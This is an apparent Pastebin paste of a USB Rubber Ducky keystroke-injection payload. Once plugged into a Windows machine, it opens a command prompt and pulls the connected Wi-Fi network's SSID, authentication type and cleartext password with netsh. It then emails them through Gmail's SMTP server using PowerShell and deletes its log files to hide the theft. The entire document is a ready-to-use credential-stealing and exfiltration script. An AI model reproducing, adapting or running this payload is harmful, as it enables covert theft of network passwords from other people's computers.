Advertisement
AustinP1214

Wifi Grabber/Email Using USB Rubber Ducky

Nov 15th, 2017
1,202
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 2.03 KB | None | 0 0
  1. REM Title: WiFi password grabber
  2. REM Author: Austin
  3. REM Version: 4
  4. REM Description: Saves the SSID, Network type, Authentication and the password to Log.txt and emails the contents of Log.txt from a gmail account.
  5. DELAY 3000
  6. REM --> Minimize all windows
  7. WINDOWS d
  8. REM --> Open cmd
  9. WINDOWS r
  10. DELAY 500
  11. STRING cmd
  12. ENTER
  13. DELAY 200
  14. REM --> Getting SSID
  15. STRING cd "%USERPROFILE%\Desktop" & for /f "tokens=2 delims=:" %A in ('netsh wlan show interface ^| findstr "SSID" ^| findstr /v "BSSID"') do set A=%A
  16. ENTER
  17. STRING set A="%A:~1%"
  18. ENTER
  19. REM --> Creating A.txt
  20. STRING netsh wlan show profiles %A% key=clear | findstr /c:"Network type" /c:"Authentication" /c:"Key Content" | findstr /v "broadcast" | findstr /v "Radio">>A.txt
  21. ENTER
  22. REM --> Get network type
  23. STRING for /f "tokens=3 delims=: " %A in ('findstr "Network type" A.txt') do set B=%A
  24. ENTER
  25. REM --> Get authentication
  26. STRING for /f "tokens=2 delims=: " %A in ('findstr "Authentication" A.txt') do set C=%A
  27. ENTER
  28. REM --> Get password
  29. STRING for /f "tokens=3 delims=: " %A in ('findstr "Key Content" A.txt') do set D=%A
  30. ENTER
  31. REM --> Delete A.txt
  32. STRING del A.txt
  33. ENTER
  34. REM --> Create Log.txt
  35. STRING echo SSID: %A%>>Log.txt & echo Network type: %B%>>Log.txt & echo Authentication: %C%>>Log.txt & echo Password: %D%>>Log.txt
  36. ENTER
  37. REM --> Mail Log.txt
  38. STRING powershell
  39. ENTER
  40. STRING $SMTPServer = 'smtp.gmail.com'
  41. ENTER
  42. STRING $SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)
  43. ENTER
  44. STRING $SMTPInfo.EnableSsl = $true
  45. ENTER
  46. STRING $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('@gmail.com', 'PASS')
  47. ENTER
  48. STRING $ReportEmail = New-Object System.Net.Mail.MailMessage
  49. ENTER
  50. STRING $ReportEmail.From = '@gmail.com'
  51. ENTER
  52. STRING $ReportEmail.To.Add('@gmail.com')
  53. ENTER
  54. STRING $ReportEmail.Subject = 'WiFi key grabber'
  55. ENTER
  56. STRING $ReportEmail.Body = (Get-Content Log.txt | out-string)
  57. ENTER
  58. STRING $SMTPInfo.Send($ReportEmail)
  59. ENTER
  60. DELAY 1000
  61. STRING exit
  62. ENTER
  63. DELAY 500
  64. REM --> Delete Log.txt and exit
  65. STRING del Log.txt & exit
  66. ENTER
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement